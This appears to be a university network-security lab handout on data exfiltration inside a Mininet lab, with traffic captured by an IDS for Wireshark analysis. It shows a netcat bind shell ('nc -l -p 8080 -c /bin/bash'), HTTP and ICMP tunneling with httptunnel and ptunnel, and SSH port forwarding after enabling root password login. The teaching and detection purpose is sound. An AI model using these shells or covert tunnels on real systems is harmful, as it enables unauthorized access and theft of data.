• Basic usage of the netcat tool
• Basic usage of the ssh tool
• Data exfiltration through DNS, HTTP, ICMP and UDP

First, make sure that your virtual machine is updated (run the provided update.sh script, or create one).

root@cdci:/# cat update.sh
#!/bin/bash
# (c) Mihai Chiroiu - CDCI

git clone -b labs --single-branch https://github.com/mihai-chiroiu/cdci.git
git config user.email "student@upb.ro"

Next, in one terminal start the provided Mininet topology.

root@cdci:/# cd cdci/lab06
root@cdci:/# /usr/bin/python3 topology.py

If there are any problems with starting the topology (if all is good you should see the Mininet prompt ”>”) use the given cleanup script and try to restart the topology.

Before you begin, make sure that you have Internet connectivity on all two nodes. R1 should be the gateway. Write down the IP addresses of all the nodes. Use the provided scripts to access the nodes.

root@ip-172-30-0-165:/# ./h1.sh 
root@h1:/# 

root@ip-172-30-0-165:/# ./h2.sh 
root@h2:/# 

root@ip-172-30-0-165:/# ./ids.sh 
root@IDS:/# 

Netcat, also known as the 'TCP/IP Swiss Army Knife,' can be used to send data between two hosts. Create a client/server connection over port 8080. By default, the data send from the client will be printed on the server.

The switch in the topology is configured to mirror all traffic to IDS. Use this feature to save the traffic in a PCAP file using 'tcpdump'. Use Netcat to grant the client shell access on the server (hint: '-c' param on the server side).

Download the previously saved PCAP file to your local computer and analyse it using Wireshark. Use the “Follow TCP stream” option from Wireshark to observe the traffic flow between the two hosts.

./copy_from_node.sh IDS /root/traffic.pcap /home/ubuntu/

root@h2:/# nc -l -p 8080
test
root@h1:/# nc 192.168.16.3 8080
test

root@h2:/# nc -l -p 8080 -c /bin/bash
[...]
root@h1:/# nc 192.168.16.3 8080
ls
bin
boot
dev
[...]

While Netcat is a good tool, the traffic that it sends can be easily removed by any Deep Packet Inspection solutions because it is a simple DATA over TCP connection. Now, use the httptunnel (hts & htc) suite to create a HTTP tunnel between the two nodes. Use this tunnel to establish a client/server connection and exfiltrate data (similar to the previous exercise).

To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark).

root@h2:/# hts -F 127.0.0.1:8080 80
root@h2:/# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      90/hts              
root@h2:/# nc -l -p 8080 -k
TEST

root@h1:/# htc -F8080 192.168.16.3:80
root@h1:/# nc 127.0.0.1 8080
TEST

As seen, the previous solutions send data in clear text. Create an ssh tunnel and use it to exfiltrate data via a similar client/server Netcat architecture. For this, you have to use one node as an SSH server and the second one as a client. Use the following configuration on the SSH Server

root@h2:/# vim /etc/ssh/sshd_config 
PasswordAuthentication yes
PermitRootLogin yes 

root@h2:/# service ssh restart
root@h2:/# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      198/sshd   

To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark).

root@h2:/# nc -l -p 8080 -k
TEST

root@h1:/# ssh -N -L 8080:127.0.0.1:8080 root@192.168.16.3 -f
root@192.168.16.3's password: 
bind: Cannot assign requested address
root@h1:/# nc 127.0.0.1 8080
TEST

Another protocol that can be used to exfiltrate data is ICMP. You can use the ptunnel application and tunnel the Netcat client/server connection over ICMP.

To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). For this exercise we strongly encourage you to view the data in Wireshark.

root@h2:/# ptunnel &
[1] 331
root@h2:/# [inf]: Starting ptunnel v 0.72.
[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
[inf]: Forwarding incoming ping packets over TCP.
[inf]: Ping proxy is listening in privileged mode.
root@h2:/# 
root@h2:/#  
root@h2:/# nc -l -p 8080 -k
[inf]: Incoming tunnel request from 192.168.16.2.
[inf]: Starting new session to 127.0.0.1:8080 with ID 18665
TEST
[inf]: Received session close from remote peer.
[inf]: 
Session statistics:
[inf]: I/O:   0.00/  0.00 mb ICMP I/O/R:       13/       1/       0 Loss:  0.0%
[inf]: 
root@h2:/# 

 
root@h1:/# ptunnel -p 192.168.16.3 -lp 8080 -da 127.0.0.1 -dp 8080 &
[2] 161
root@h1:/# [inf]: Starting ptunnel v 0.72.
[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
[inf]: Relaying packets from incoming TCP streams.
root@h1:/# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      161/ptunnel         
root@h1:/# nc 127.0.0.1 8080
[inf]: Incoming connection.
[evt]: No running proxy thread - starting it.
[inf]: Ping proxy is listening in privileged mode.
TEST
^C
root@h1:/# [inf]: Connection closed or lost.
[inf]: Session statistics:
[inf]: I/O:   0.00/  0.00 mb ICMP I/O/R:       25/       4/       0 Loss:  0.0%

To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark).